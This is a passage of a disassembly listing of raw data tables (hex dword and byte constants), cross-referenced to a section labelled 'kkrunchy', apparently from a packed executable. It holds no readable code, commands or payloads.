0E8CCF0D4h dd 0FCFCE0C4h, 0FCFCFCFCh, 0CFCFCFCh, 180C0808h, 14080C0Ch dd 0A80CA810h, 808A808h, 8080808h, 808080Ch, 0FC08FCFCh dd 808FC08h, 8080808h, 8FC080Ch, 808FC08h, 8080808h, 80C0808h dd 8081008h, 928E8408h, 8D2CECAh, 8080808h, 0C808080h dd 8080808h, 0F8080808h, 0BFF0BFFh, 0B2A682F8h, 0F8FF0BD6h dd 96F896F8h, 808F808h, 0F808D6F8h, 808FCFCh, 0FCFC0808h dd 30F80C08h, 2C280F0Fh, 141C330Fh, 331C0F14h, 0C28FC14h dd 0FCF8241Ch, 33280828h, 8080C2Ch, 0F80C08FCh, 80808FCh dd 98FC0888h, 9B9A9899h, 0C8B6B0A4h, 0A2A09CB8h, 0B4ACAAA8h dd 9894DCCCh, 0C0C0CFCh, 0FC0C0C0Ch, 0F808080Ch, 2 dup(8080808h) dd 0E2E1E0F8h, 0E00CF4EAh, 0FCE3F6E0h, 88FCECE4h, 814140Ch dd 0C080C10h, 0F208F0F0h, 0C0CF0F4h, 0C100C0Ch, 80C0C08h dd 0C080C0Ch, 0ED08080Ch, 0F4E808ECh, 0FCF4F8F4h, 8F8F4FCh dd 0E0E808E8h, 0E4DCD0D4h, 0DCD0FCD8h, 0E0D4D8E4h, 0ECF8F8ECh dd 0FCF8F8FCh, 808ECFCh, 0F8F8F808h, 0C4FC0808h, 0F0C8C6C4h dd 808C4F0h, 0FCEC0808h, 0F8D4D4D8h, 0F4FCDCF8h, 8DCF8F4h dd 0F4F8DC08h, 0F8DC0808h, 0E0ECF4FCh, 0F8B4B4E0h, 0FC08FCDCh dd 1808140Ch, 100C1410h, 100C080Ch, 0C0C080Ch, 18140C08h dd 1C0C0C1Ch, 14FC1808h, 240C0C10h, 1C240C20h, 0C0C201Ch dd 2408081Ch, 0FC08FC20h, 0E008F0F0h, 0C0C0E0C0h, 8FC08E0h dd 8FC08FCh, 0C0C1410h, 0D3C008C0h dd 0E60C0CFCh, 0C00CFCFCh, 0C0C080Ch, 0FCF8F808h, 0C408BCBCh dd 0FC0808C4h, 8FC0C0Ch, 0F8080808h, 8F8F8F8h, 8FCFC08h dd 8FC08FCh, 808FC08h, 2 dup(808FCFCh), 0FAFAFAFAh, 0D8D80808h dd 0B9C9FCD8h, 0BDCABDBAh, 0CA0BCA0Bh, 8F4F8BDh, 0FCFCF408h dd 0F0F0F8FCh, 0CACACAFCh, 0F4F8FC08h, 0FCECECF0h, 1414100Ch dd 0E8E8E8FCh, 0FCFCFCFCh, 18181818h, 1C181818h, 1414141Ch dd 100C1414h, 141808FCh, 8181408h, 0F8F4EC08h, 0FCFCF4F0h dd 0F8F00B0Bh, 0ECFCFCF0h, 8F8F4F0h, 0ECECEC08h, 808E0DFh dd 14100CF2h, 0C080C14h, 0E0080808h, 0F0F0FCF8h, 808EC08h dd 0F8F0E0F0h, 0EC08E0E0h, 0FCFCFCF8h, 14100C08h, 0FC141014h dd 181810FCh, 14141414h, 181C1C14h, 18181818h, 0FC14100Ch dd 8181814h, 0C0C0CFCh, 0FC0C0CFCh, 8FC0808h, 0F408F8F8h dd 8F8F4F8h, 0FC080808h, 0FCFCFCFCh, 0E80B0808h, 0ECF0F0FCh dd 0E4ECF4F8h, 0F4F8F8ECh, 0F4F8ECF4h, 0E8FCFCE4h, 0FCE80BF0h dd 0FCEC0808h, 0E4FCECECh, 0BF0E4ECh, 0C0C0E4E4h, 0ECDCFCECh dd 0DCDCC0DCh, 0D8FCECB0h, 0C0B0D8ECh, 0D0D0D8D8h, 0E8E8E0ECh dd 0D0B0E0ECh, 0E8E0E8C0h, 0F0F0F0E8h, 0E8E0E8F0h, 0F0F0D4E0h dd 0F0D4D4E8h, 0D8F0F0F0h, 0BFCDCFCh, 0ECFCE4F0h, 808F4FCh dd 0ECF0F4F8h, 8ECF408h, 0FCF8FCFCh, 0FCF0FCFCh, 0F0F8F4E0h dd 0EC0808ECh, 8F4F8F0h, 0C100C10h, 14080C14h, 0DC080810h dd 0C4C0C0F4h, 0D8D8BCC0h, 0ECEDB0ECh, 0E5D0ECE0h, 0F8C4E4E4h dd 0A608D4E4h, 0D4F8ACF8h, 0DCE0D0F8h, 8080808h, 0FCFC0808h dd 0E8F4F4FCh, 0ECFCFCFCh, 0E8ECFCE8h, 0CFC0CFCh, 0FC0C100Ch dd 0F008FCFCh, 0ECF0080Ch db 0E4h, 0DCh, 0D8h byte_3FAA9B db 4 ; DATA XREF: kkrunchy:003EA420o dd 4040404h, 5040404h, 25040409h, 4012504h, 8040404h, 1810200Ch dd 1804FCF8h, 4E41008h, 18100A04h, 80C1C04h, 18100404h dd 404041Ch, 80C0404h, 4080408h, 0C040804h, 0C080404h dd 18100408h, 4080C1Ch, 0FF1C1810h, 4040804h, 2 dup(4040404h) dd 0A040104h, 1A0A041Ah, 30301FCh, 4040404h, 4010404h dd 4040804h, 14040404h, 4080C10h, 0C040408h, 4040408h dd 14040404h, 4080C10h, 2 dup(4040404h), 4080C10h, 8040408h dd 4040804h, 5 dup(4040404h), 4080C04h, 4080804h, 80C0408h dd 0C101404h, 21040408h, 4042121h, 100C0404h, 201C1814h dd 1C201820h, 0C0C0C14h, 804040Ch, 4040804h, 808040Ch dd 0C080C04h, 408040Ch, 4FC0808h, 14141010h, 10101818h dd 3E185018h, 3E2A423Eh, 2A3E3E3Eh, 3E3E3E3Eh, 3E3E3E42h dd 83E3E3Eh, 422AE810h, 3 dup(3E3E3E3Eh), 173E3E3Eh, 3E3E3E42h dd 2 dup(3E3E3E3Eh), 3E3E2A3Eh, 3 dup(3E3E3E3Eh), 3E3E2A3Eh dd 3E3E3E3Eh, 3E3E3E42h, 3E3E3E3Eh, 4082A3Eh, 4040C08h dd 1209031Ch, 0FCF80A04h, 3E0432F8h, 42A2A04h, 1040404h dd 404FF04h, 4080404h, 408040Ch, 0C08080Ch dword_3FAC18 dd 0C080804h, 10060801h, 808FF04h, 10100404h, 10101410h ; DATA XREF: kkrunchy:003EA424o dd 0FC010110h, 2A3E3E3Eh, 43E3E3Eh, 0C043E1Ch db 0Ch, 2 word_3FAC3E dw 305Fh ; DATA XREF: kkrunchy:003EA428o dd 6B980317h, 18F60524h, 7180323h, 7143541h, 98BD208h dd 193D7819h, 44090223h, 6C771716h, 303055Bh, 3E090303h dd 0C2D41B12h, 2A13171Bh, 5F105F09h, 0A42C52F0h, 6A7B1D11h dd 0D0F2712h, 55591C37h, 0D099F1Fh, 0D07F30Bh, 6818BF5Fh dd 0B6492964h, 7B1A097Eh, 14516268h, 4B061202h, 0D193D42h dd 5A010CB3h, 0EE037219h, 3F431527h, 103620E7h, 104F1053h dd 14EE036Fh, 37454512h, 0F050F07h, 0C680572h, 27143940h dd 1E2D3606h, 41484F0Fh, 1E2B333Ah, 50C130Fh, 111E2605h dd 50722F6h, 12070C33h, 5141318h, 19030503h, 100AF606h dd 3047814h, 3050305h, 0B058E03h, 3354080Ah, 172F7836h dd 7FB90ABFh, 27104D35h, 750D0A11h, 1E040D34h, 12130D0Dh dd 50B0722h, 3040D48h, 504F418h, 34D1837h, 0E7050303h dd 0F2F409D3h, 143605EBh, 71FF50Fh, 1537041Dh, 0F14F610h dd 40404F7h, 6425204h, 670BCF05h, 0E1B5A05h, 0B0B1009h dd 0A3C6002h, 0EC1B26F4h, 0B174B81h, 0B80B13EFh, 54707A04h dd 20F20A36h, 9310F017h, 0E0120523h, 430D040Fh, 42EF00Ah dd 0EF0B1951h, 0AB60B13h, 101F0205h, 0ED18EFEBh, 4B040C09h dd 0B10E0D30h, 0D070C09h, 0A3A5576h, 0EC1B26F4h, 181D2202h dd 4020410h, 0F306713h, 84260F10h, 6F90668Ch, 0CE61A88h dd 2E00F42h, 1D621E03h, 7070B14h, 82DD2E9h, 49880BD1h dd 464F06C5h, 0EE05191Eh, 0B47740Ah, 9022AB9h, 21373C63h dd 4080C10h, 1D33DF04h, 9ECECECh, 93A0956h, 6F7081Eh, 1050120Dh dd 4C0C24B0h, 0F0C5C16h, 0EC14F104h, 94744F04h, 576B4A65h dd 50E1F9Eh, 43021E02h, 2E283705h, 2E455C61h, 800A2126h dd 56087013h, 55B230Eh, 60DEC1Bh, 0F0010AEFh, 3941761Bh dd 0CBC80208h, 0F00B1018h, 0ED030810h, 11071439h, 11F1CA10h dd 5EB0B10h, 0B11EC07h, 1009F203h, 0FE20302h, 1A14F10Bh dd 23EAF2EBh, 416283Ch, 0CDDEED40h, 5F052127h, 3263359h dd 703070Fh, 27460303h, 4210406h, 0F0F0F0Fh, 80E2305h dd 1ADF08F4h, 4EC0310h, 61BC08C6h, 5500605h, 6053F06h dd 1D06052Eh, 50C0605h, 16051605h, 79051E47h, 3E470760h dd 1E072E37h, 12050E07h, 13480709h, 24020202h, 0D071907h dd 8D0E02F8h, 8121E23h, 28B109C4h, 5071D34h, 5050303h dd 24020202h, 181D484Dh, 60449C10h, 727074Fh, 59D071Bh dd 131D2586h, 39054024h, 0F2D0534h, 34390540h, 5402D05h dd 2D053439h, 22371E06h, 90C3D1Fh, 1C141021h, 0E1F416F1h dd 31C0202h, 79071A3Dh, 0BD0E0D28h, 4827395Fh, 47A20A2Ah dd 24159C11h, 50F0A07h, 560E0D02h, 285A5E2Bh, 0A2161B03h dd 0A107255Bh, 30B1B14h, 0B050B1Bh, 6F070B03h, 130F0314h dd 1B029608h, 0C1C1375h, 41EC482Dh, 5171419h, 1EC72405h dd 0EC03E717h, 0EC674C0Eh, 0A05365Eh, 1419090Eh, 24050517h dd 0E7171EA8h, 80CEC03h, 30411F8h, 32080D75h, 6214D52h dd 11F78EEAh, 32E52A3Dh, 141E3617h, 0D61D3211h, 0A1148BAh dd 20050511h, 1A1A171Ch, 19102B1Ah, 0F11DE03h, 26441117h dd 5374E623h, 140D1E30h, 1D14170Dh, 5461B17h, 16CC051Dh dd 14272729h, 11051D42h, 0A264D1Ah, 52A0717h, 0CF051846h dd 50077E05h, 9B6F0524h, 11371D05h, 0C0F6971h, 3030303h dd 6A020202h, 3072B37h, 0F80343F2h, 0F80302B9h, 7700713h dd 7380753h, 7007131Dh, 38075307h, 8081D07h, 51046904h dd 21043904h, 3D384902h, 5C050505h, 9F80D55h, 0C0E7D20h dd 161F0C0Eh, 710313Ah, 0C050502h, 4E193B03h, 250BA906h dd 507150Bh, 5130523h, 37667513h, 61C1706h, 4D12CB04h dd 2053123Ah, 710313Ah, 0C050502h, 18270D03h, 0E110111h dd 2763DC0Ah, 3081246h, 2D16B9F8h, 1E4F5745h, 203A29D7h dd 28030603h, 0C41D2229h, 1E385063h, 7A06AA16h, 4C5C4654h dd 6B721323h, 535B6166h, 154A4B48h, 90B14D3h, 0E919CC08h dd 627707EDh, 71133045h, 198F304Ch, 0F9E70B05h, 0DC031EF6h dd 56C252F6h, 19E51BBEh, 1BE21EE2h, 73003E0h, 24DC2952h dd 3ED53D0Fh, 0F0172FD6h, 304F50Bh, 29F7ED1Ch, 2329DF23h dd 405771DFh, 4F7D2029h, 0E2114912h, 0B50AC824h, 190C2B0Ch dd 20130709h, 49124F7Dh, 0C824E211h, 290CB50Ah, 709180Ch dd 0F4F7213h, 2C380302h, 1A050720h, 17E90710h, 18562507h dd 1322270Ah, 507EB09h, 406DE26h, 76041214h, 325BA08h dd 0ED071624h, 96D0757h, 0F90303F7h, 80E0204h, 0FB0817FBh dd 3040605h, 0B1D0C03h, 835F7E3h, 0F007B7D1h, 0EBCC5DAh dd 0E37B261Eh, 0E350265Ch, 0D60D2A31h, 360D1E23h, 7A90ACFh dd 0A0A1111h, 787B0A0Ah, 2D752F37h, 13250228h, 6A0DAB14h dd 0C407181Dh, 86063142h, 0E121481h, 145B6F77h, 11172431h dd 2DF8DCF2h, 2D2D6260h, 0B590444h, 7290513h, 12B50F22h dd 14F40CD5h, 136472ECh, 485D06ABh, 4202D824h, 132AEF0Ah dd 4F113D70h, 293611EFh, 27324456h, 13273244h, 0CB1AE032h dd 80A7DC2h, 0F4450B04h, 0ECDF040Eh, 170E63C2h, 7C111F04h dd 165E7279h, 20C0618h, 4D111810h, 19132335h, 0D0061B12h dd 14131366h, 36090809h, 8B072A08h, 8CE4E1Bh, 274A930Ah dd 0D2B04A55h, 30E0305h, 30E0309h, 9150309h, 0C4B0909h dd 1058693Bh, 3F50091Eh, 24A20367h, 7383E33h, 50D0505h dd 1351626Ah, 56A00903h, 3AA3D4Ah, 5030E06h, 9030E03h dd 59030303h, 5130445h, 3A09A906h, 22D07123h, 0C402971Dh dd 90B0213h, 62080909h, 1124080Fh, 0A0A1D0Ah, 0C0A0A0Ch dd 330C0A0Ah, 0DE070A22h, 2B253014h, 122A0A43h, 0BD0B050Ah dd 25111911h, 2B445B11h, 24350606h, 3030306h, 29070790h dd 151A1F24h, 2045515h, 2020202h, 221A3A24h, 11F8C80Fh dd 13481363h, 18181330h, 0FA70205h, 210F0F0Fh, 0DF030303h dd 0E904091Ah, 0AB175770h, 5030C72h, 510320Bh, 2ED64613h dd 0BCC41462h, 11B81419h, 5018EC14h, 0E080EF4h, 0F4411808h dd 107080Eh, 14140615h, 0EF44118h, 7010708h, 4143143h dd 607060Dh db 6, 2 dup(7) byte_3FB303 db 0Ch ; DATA XREF: kkrunchy:003EA42Co dd 40C0103h, 0C5C1010h, 10001010h, 0E0E011h, 140C00h, 14100C00h dd 0FFFF1800h, 0FFFFh, 0A000032h, 1100C0Dh, 18441003h dd 0C0A0A0Ch, 10010C00h, 1410100Ch, 1C0104h, 140C2000h dd 10A025Ch, 101C0214h, 2401FF20h, 1001000Ch, 0C102010h dd 183C0621h, 24210000h, 10001800h, 4FF34h, 200010Ch, 10001001h dd 11001FFh, 71F1F18h, 3AFF2020h, 39302F01h, 0C060C07h dd 0FF0C0718h, 10140C40h, 24022401h, 0A011C03h, 1010201Ch dd 7A080010h, 1C000461h, 18002000h, 64480101h, 2001FF01h dd 2010228h, 103030h, 6010018h, 4040C00h, 18100808h, 10060104h dd 2E0300Ch, 20CFF04h, 0C040004h, 100A0001h, 0 dd 181801h, 10FF0CFFh, 62C1400h, 14010014h, 0FF10h, 1101001h dd 1080100h, 0A180110h, 10C040Ch, 0C080C04h, 6000C03h dd 10C0101h, 1FF1400h, 100100h, 0FFFF1701h, 14020C01h dd 21401FFh, 0FF01FF1Ch, 2 dup(0FF000002h), 0FF010C0Ah dd 10C0Ah, 200h, 20240102h, 2FFFE0Ch, 4040217h, 0FF32FFh dd 0FF040400h, 4040004h, 0FF0404FFh, 6400FF04h, 4000004h dd 4040C02h, 40401FFh, 0C002024h, 40102h, 20FF00FFh, 401020Ch dd 401FF00h, 10104h, 0FFFF0002h, 10C00h, 0FF020310h, 0FF020401h dd 0FFFF1810h, 511F50Ch, 2400Fh, 1020100Ch, 0 dd 1020h, 200000h, 20100000h, 0C0021C1Ch, 101480h, 1C001008h dd 0FFh, 642C0600h, 100064h, 0C010C00h, 1000000h, 2000000h dd 14040008h, 4000000h, 1000400Ch, 10105C01h, 0C0018h dd 0C000010h, 0D0A0010h, 2E10161Fh, 10000h, 8617Ah, 6617Ah dd 10617Ah, 0C0C045Ch, 5C050C0Ch, 1000Ch, 0C020100h, 30C04h dd 10030000h, 1C10000Ch, 24180201h, 30001h, 300FF01h, 10FF0200h dd 5C01h, 7A040814h, 7A011061h, 0FF021061h, 8200118h, 30C0118h dd 2041C01h, 1281844h, 14000820h, 240003h, 104FF10h, 140C1001h dd 1C5B0808h, 1C080C0Ah, 8105B08h, 0CFF0C5Ah, 1320CFFh dd 0FF001818h, 100C0A24h, 20001418h, 1141800h, 2040Ch dd 10118h, 13930h, 0A0D0CE0h, 20000A0Dh, 12000h, 2E200000h dd 2E000004h, 0A007203h, 69730C00h, 100A0000h, 14143C69h dd 50010014h, 14200118h, 14h, 11800h, 0 dd 5064640Ah, 3742474Bh, 1E212632h, 71F0A19h, 71F0100h dd 14141000h, 4243Ch, 5A0A0201h, 2010005h, 2, 10C0101h dd 10540101h, 201000h, 3040620h, 240330h, 0FF10h, 103C0118h dd 1010101h, 104800h, 5011C10h, 0C000802h, 5105A14h, 80201h dd 300140Ch, 60504h, 5A141Ch, 10001014h, 181818h, 10FFh dd 0FF0CFF0Ch, 18000008h, 60FF01h, 0FF0CFF14h, 14101010h dd 10180C0Ch, 10100001h, 14001400h, 14140C10h, 10100Ch dd 10001400h, 181000h, 8FF0C0Ch, 81C4500h, 10010108h, 10CFF01h dd 1420FF01h, 2C040201h, 1E142810h, 1C240003h, 0FF0Ch dd 0C140100h, 0C0C0000h, 3F2A1800h, 23393023h, 412A2A01h dd 207A615Ah, 3930233Fh, 12A0123h, 78013018h, 39300258h dd 0A6661D0h, 1207A10h, 403100Ch, 18043D1Ch, 807050Ch dd 2D2D0518h, 1402D2Dh, 40408h, 0C181018h, 220000Ch, 14171002h dd 10040A04h, 10C101Ch, 10020204h, 100A2B01h, 3C0C020Ch dd 38013Ch, 201C2014h, 1282400h, 14202401h, 140C0003h dd 0C001400h, 0C0C1002h, 0C00h, 10040014h, 105240Ah, 5A415A01h dd 5D2D2F41h, 345B5D5Bh, 0C000C00h, 300110h, 120010Ch dd 343401h, 0C030201h, 10030200h, 28180302h, 1FF0400h dd 30392301h, 5A617A3Fh, 220141h, 1008247Ah, 4143018h dd 5240A10h, 415A0101h, 2D2F415Ah, 5B5D5B5Dh, 14213A34h dd 0C14010Ch, 18023Dh, 200C00h, 24h, 1030Ch, 4010F01h dd 200h, 7A010102h, 3100000h, 7A2D2020h, 30103h, 0 dd 101004h, 64002504h, 1C101C10h, 23D3Ah, 2C000D02h, 100040Ch dd 10021h, 140000h, 2404000h, 4040201h, 2010602h, 0F040403h dd 23F0602h, 10403h, 58014100h, 20611018h, 58030F7Fh, 1AA1018h dd 0CD100210h, 10021010h, 0C0C0C33h, 0FC01FF01h, 0FF010C04h dd 1D000001h, 14403F03h, 40400640h, 0C184014h, 880033Fh dd 20003800h, 80C00F8h, 2C000410h, 1008FF00h, 44040418h dd 7190C40h, 110F0C14h, 7190A16h, 110F0C14h, 7190A16h dd 110F0C14h, 7190A16h, 110F0C14h, 51B0A16h, 0E120917h dd 51B0C14h, 0E120917h, 51B0C14h, 0E120917h, 51B0C14h dd 0E120917h, 41C0C14h, 10100B15h, 41C0917h, 10100B15h dd 41C0917h, 10100B15h, 41C0917h, 10100B15h, 61A0917h dd 0F110A16h, 1A06150Bh, 0F11160Ah, 61A0B15h, 0F110A16h dd 61A0B15h, 0F110A16h, 0FE000B15h, 4080804h, 100h, 4040404h dd 2030100h, 58000404h, 107F1018h, 0C10107Fh, 18040C0Ch dd 1428FF00h, 5FF00h, 201FE04h, 30203FDh, 60404FCh, 2003h dd 480E0502h, 2100E11h, 3020140h, 0FF000014h, 0FF001428h dd 0FE040005h, 3FD0201h, 4FC0302h, 20030604h, 8020000h dd 1480220h, 140302h, 14481401h, 7001400h, 100C1020h, 3C003010h dd 0C303C48h, 4040430h, 14480C04h, 617A2007h, 204020Ah dd 18480B04h, 4902044h, 4480404h, 8069058h, 90040490h dd 0A900648h, 4832320Ah, 20070014h, 9340960h, 68004438h dd 140014h, 4040402h, 31310048h, 2C487068h, 310C00h, 487C0704h dd 10012400h, 14001414h, 31020130h, 4D242001h, 41584804h dd 18050548h, 1C1C2007h, 30303E1Ch, 1C1C601Ch, 10405h dd 0C242048h, 200C2400h, 0FF1C1818h, 0FF1C000Ah, 0AFF1C0Ah dd 9013000h, 0FC010808h, 0AFF1044h, 0FF1C6A00h, 0FF1C000Ah dd 0C00000Ah, 340C0C00h, 40F0100h, 1004141h, 0E80002FEh dd 180601FDh, 0Ch, 12C0618h, 3024218h, 5410301h, 2000483Fh dd 1C282024h, 48FF0303h, 1050010h, 4824030Bh, 4000303h dd 28000803h, 0C000303h, 303100Ch, 80C08h, 0C18h, 19180201h dd 2C030605h, 0C000101h, 3140001h, 0FF020106h, 48100C10h dd 18000Ch, 10101002h, 7F200310h, 10002005h, 1C0110FFh dd 0C243F01h, 0C000CFFh, 1000h, 10061C20h, 2, 2C002020h dd 2FFh, 1C282000h, 14240124h, 0C32201Ch, 0FF2832FFh, 10FF2C32h dd 0FF0A01h, 0FF0C021Ch, 2101000h, 451410FFh, 0FF100404h dd 1FF0134h, 1031314h, 4041C01h, 90803FFh, 10011C01h, 1009140Ch dd 20C0101h, 181C0C0Ch, 4000C1Ch, 14040014h, 7A040814h dd 7A011061h, 20012861h, 100C2820h, 400001Ch, 133A3A3Ah dd 10012A14h, 24003A18h, 3FF0C00h, 3C0C1800h, 10C0110h dd 103C0110h, 18180101h, 0A00FF00h, 1414h, 16003A3Ah, 0C0CFF14h dd 410180Dh, 2050305h, 0C060106h, 7011806h, 502010Ch, 1002001h dd 10140A02h, 140201h, 3A3A140Ch, 3F1C003Ah, 2010C3Fh dd 10003h, 30300h, 18140100h, 0C1C18h, 10000014h, 14001824h dd 0E32003Ah, 18102424h, 301143Ah, 10200h, 3030002h, 14100100h dd 180C3A10h, 10001800h, 0C181218h, 10000C3Ah, 142000h dd 6000010h, 14180020h, 1Ch, 0C000C0Ah, 20100000h, 0 dd 0C0C0000h, 0C0C0C20h, 10000h, 90C040Ch, 5100110h, 145A1402h dd 10100214h, 0C281401h, 140C0C0Ch, 10001420h, 10C0110h dd 1021810h, 2C0C0103h, 2C18140Ch, 145F2E40h, 18181408h dd 0FF140102h, 10100000h, 10C07h, 0 dd 100020h, 80C0Ch, 10C0001h, 30C020Ch, 10C040Ch, 0FF020310h dd 0FF100C10h, 3F10FF04h, 40FFF0Ch, 2D0D1006h, 7F2E3E0Ah dd 240C0C1Fh, 0C0C0Ch, 1141803h, 2, 2002FF20h, 1010100Ah dd 0C105C18h, 0FF0C1419h, 0FF0C0Ch, 1F2040h, 0FF0000h dd 10000000h, 1000000h db 0, 1 word_3FBC2A dw 4 ; DATA XREF: kkrunchy:003EA430o dd 40004h, 5A4D0004h, 20004h, 100002h, 4001Ch, 20004h dd 6 dup(40004h), 40002h, 10B80048h, 110B8h, 40002h, 7 dup(40004h) dd 40002h, 100010h, 40010h, 0C000Ch, 40004h db 4, 0 word_3FBC9E dw 260h ; DATA XREF: kkrunchy:003EA434o dd 30000000h, 1040041h, 1040000h, 800000h, 10000h, 28000h dd 1048000h, 10000h, 3D08000h, 2AC0000h, 31440000h, 41h dd 1040001h, 0 dd 1, 3E80001h, 311C0000h, 1140041h, 3E80000h, 30F80000h dd 30CC0041h, 2AC0041h, 1000000h, 319C0000h, 31940041h dd 31740041h, 11C40041h, 2000040h, 1F40000h, 0FA0000h dd 2000000h, 31A40000h, 7240041h, 3A70000h, 1F40000h, 1040000h dd 31EC0000h, 0C0041h, 91C00000h, 91D00041h, 1010041h dd 2000000h, 1030000h, 31C80000h, 31A80041h, 322C0041h dd 3A70041h, 2000000h, 32180000h, 16210041h, 32140040h dd 31F40041h, 5E80041h, 3D60000h, 32AC0000h, 27100041h dd 32800000h, 2000041h, 4000000h, 32340000h, 0A000041h dd 2CC0000h, 100000h, 4010000h, 13880000h, 4000000h, 33780000h dd 33640041h, 33480041h, 0EA600041h, 33200000h, 2000041h dd 32F40000h, 4000041h, 32B00000h, 0FFFF0041h, 0 dd 3D64000h, 1040000h, 1000000h, 1A30000h, 337C0000h, 19850041h dd 2CC0040h, 1040000h, 1A30000h, 33A00000h, 1B810041h dd 4080040h, 27100000h, 4010000h, 33F40000h, 33EC0041h dd 33D80041h, 33C00041h, 32AC0041h, 7D40041h, 3AF0000h dd 10000h, 35CC0000h, 35C40041h, 358C0041h, 355C0041h dd 10041h, 35540000h, 35500041h, 10041h, 35480000h, 35440041h dd 35380041h, 20041h, 35300000h, 352C0041h, 30041h, 35280000h dd 800041h, 35240000h, 34F80041h, 34EC0041h, 34E00041h dd 91D00041h, 34980041h, 322C0041h, 34700041h, 34400041h dd 34140041h, 3AF0041h, 36200000h, 1040041h, 35FC0000h dd 22300041h, 1040040h, 91DC0000h, 250041h, 37D8C000h dd 30041h, 58000h, 1DC000h, 37B8C000h, 379C0041h, 37840041h dd 37600041h, 8D0041h, 93C000h, 94C000h, 0FDC000h, 3744C000h dd 37240041h, 37140041h, 37080041h, 36FC0041h, 364C0041h dd 8E500041h, 30041h, 1048000h, 322C0000h, 363C0041h, 36280041h dd 273F0041h, 273C0000h, 20000h, 2AFB0000h, 20000h, 4240000h dd 273F0000h, 4010000h, 10000h, 27477F00h, 399C0000h, 39740041h dd 39640041h, 39540041h, 39480041h, 393C0041h, 39300041h dd 39200041h, 39100041h, 38FC0041h, 38E80041h, 38CC0041h dd 38C40041h, 38B00041h, 389C0041h, 38840041h, 386C0041h dd 38600041h, 38540041h, 38480041h, 38380041h, 2A120041h dd 2C110040h, 2D670040h, 382C0040h, 38140041h, 38080041h dd 37E80041h, 121C0041h, 1AD0000h, 39C00000h, 3E80041h dd 10000000h, 0A2680000h, 0A2680041h, 39AC0041h, 32140041h dd 3A140041h, 1AD0041h, 39F40000h, 2EFD0041h, 1040040h dd 1040000h, 3A2C0000h, 0FFFF0041h, 0FE0000h, 0FF0000h dd 0FFFFFFFFh, 0FFFFFF00h, 0FFFF00FFh, 4010000h, 3A500000h dd 3A480041h, 3A3C0041h, 3A380041h, 0FFFF0041h, 0BB80000h dd 0A2E80000h, 96380041h, 96340041h, 0BB80041h, 3A640000h dd 3A180041h, 7D00041h, 35500000h, 667E0041h, 667F8004h dd 844004h, 800000h, 1000000h, 840000h, 800000h, 1000000h dd 840000h, 800000h, 840000h, 800000h, 4040000h, 4010000h dd 10080000h, 10000h, 50000h, 0FFFF0000h, 10000h, 2000000h dd 900000h, 800000h, 2000000h, 2 dup(3E80000h), 2000000h dd 10100000h, 0FFFF0000h, 2003FFFh, 3E80000h, 170000h dd 27330000h, 82C0000h, 2 dup(3E80000h), 170000h, 27330000h dd 10000h, 3E80000h, 271E0000h, 10100000h, 2 dup(3E80000h) dd 13380000h, 2B90000h, 0FF0000h, 10600000h, 0FFFF0000h dd 3A940000h, 3A8C0041h, 7D00041h, 3A780000h, 3A8C0041h dd 7D00041h, 3A780000h, 3A8C0041h, 7D00041h, 3A780000h dd 3A8C0041h, 7D00041h, 3A780000h, 3A680041h, 0A2E80041h dd 2B90041h, 1000000h, 0EA600000h, 3A980000h, 3EA90041h dd 1A30040h, 1A30000h, 96500000h, 3AF80041h, 3AE80041h dd 3AD40041h, 3ABC0041h, 3AA40041h, 1240041h, 96500000h dd 800041h, 2 dup(1140000h), 3B040000h, 4100041h, 1040000h dd 1140000h, 96500000h, 1A80041h, 1A70000h, 3B240000h dd 3E80041h, 3B0C0000h, 1140041h, 1A70000h, 1A30000h, 3B4C0000h dd 485F0041h, 1800040h, 4140000h, 3B880000h, 41h, 3B808000h dd 10041h, 3B788000h, 20041h, 3B708000h, 30041h, 2008000h dd 10000000h, 3B6C0000h, 3B640041h, 1800041h, 3B5C0000h dd 2080041h, 1040000h, 3DEC0000h, 8FDC0041h, 32AC0041h dd 3DE80041h, 2080041h, 1040000h, 3DEC0000h, 8FDC0041h dd 33780041h, 11C0041h, 1040000h, 3DF00000h, 800041h, 0 dd 8000h, 1084000h, 3F0000h, 3E00000Fh, 20041h, 1048000h dd 3DEC0000h, 1040041h, 1040000h, 3E8C0000h, 4000041h dd 0 dd 3E304000h, 322C0041h, 36C0041h, 1040000h, 3B900000h dd 2 dup(3DEC0041h), 9ECC0041h, 3E940041h, 20C0041h, 1040000h dd 3B900000h, 3DEC0041h, 9ECC0041h, 3E940041h, 3EA80041h dd 9ECC0041h, 3EA80041h, 16D40041h, 1BD0000h, 4080000h dd 91D00000h, 3EF40041h, 3EC00041h, 27100041h, 10000000h dd 1C00000h, 1BD0000h, 3F000000h, 3E80041h, 1BD0000h, 1A30000h dd 544F0000h, 0FFFF0040h, 4010000h, 1BD0000h, 91D00000h dd 1A30041h, 3F340000h, 56AC0041h, 3F540040h, 3F540041h dd 0FFFF0041h, 0FF3FFFh, 3F580000h, 0A2E80041h, 3F5C0041h dd 0A2E80041h, 3F5C0041h, 3E80041h, 86A00000h, 42400001h dd 400000Fh, 41080000h, 8000041h, 72C0000h, 1A70000h, 0 dd 51800010h, 150001h, 100000h, 0E100000h, 940000h, 42780000h dd 42700041h, 426C0041h, 42680041h, 42640041h, 42600041h dd 42580041h, 42540041h, 424C0041h, 42480041h, 42440041h dd 190041h, 42140002h, 20041h, 42008000h, 800041h, 91D00000h dd 41FC0041h, 410C0041h, 4000041h, 3B6C0000h, 1A70041h dd 427C0000h, 5FF30041h, 7D00040h, 35500000h, 3E80041h dd 3E80000h, 3F680000h, 3F740041h, 3F8C0041h, 3F980041h dd 3FA80041h, 3FB80041h, 4140041h, 3FCC0000h, 27100041h dd 35500000h, 2000041h, 33F40000h, 13880041h, 0 dd 20000010h, 0A540000h, 1A70000h, 0A2E80000h, 4010041h dd 51800000h, 0E100001h, 43880000h, 800041h, 43800000h dd 437C0041h, 42480041h, 42440041h, 2EE0041h, 43780000h dd 43700041h, 1F40041h, 43680000h, 91D00041h, 41FC0041h dd 428C0041h, 4000041h, 3B6C0000h, 1A70041h, 43900000h dd 656A0041h, 5C80040h, 1A70000h, 44440000h, 0FA0041h dd 10000h, 44380000h, 44340041h, 442C0041h, 44240041h dd 441C0041h, 44140041h, 440C0041h, 43EC0041h, 43DC0041h dd 44340041h, 43A40041h, 3B6C0041h, 1A70041h, 445C0000h dd 682C0041h, 3E80040h, 3E80000h, 19800000h, 96780000h dd 22880041h, 175A0041h, 447C0041h, 8E500041h, 44780041h dd 44700041h, 6BBC0041h, 40h, 22980002h, 175A0041h, 1900041h dd 44700000h, 96780041h, 1980041h, 1980000h, 6CB20000h dd 96780040h, 96780041h, 1980041h, 1880000h, 96780000h dd 1980041h, 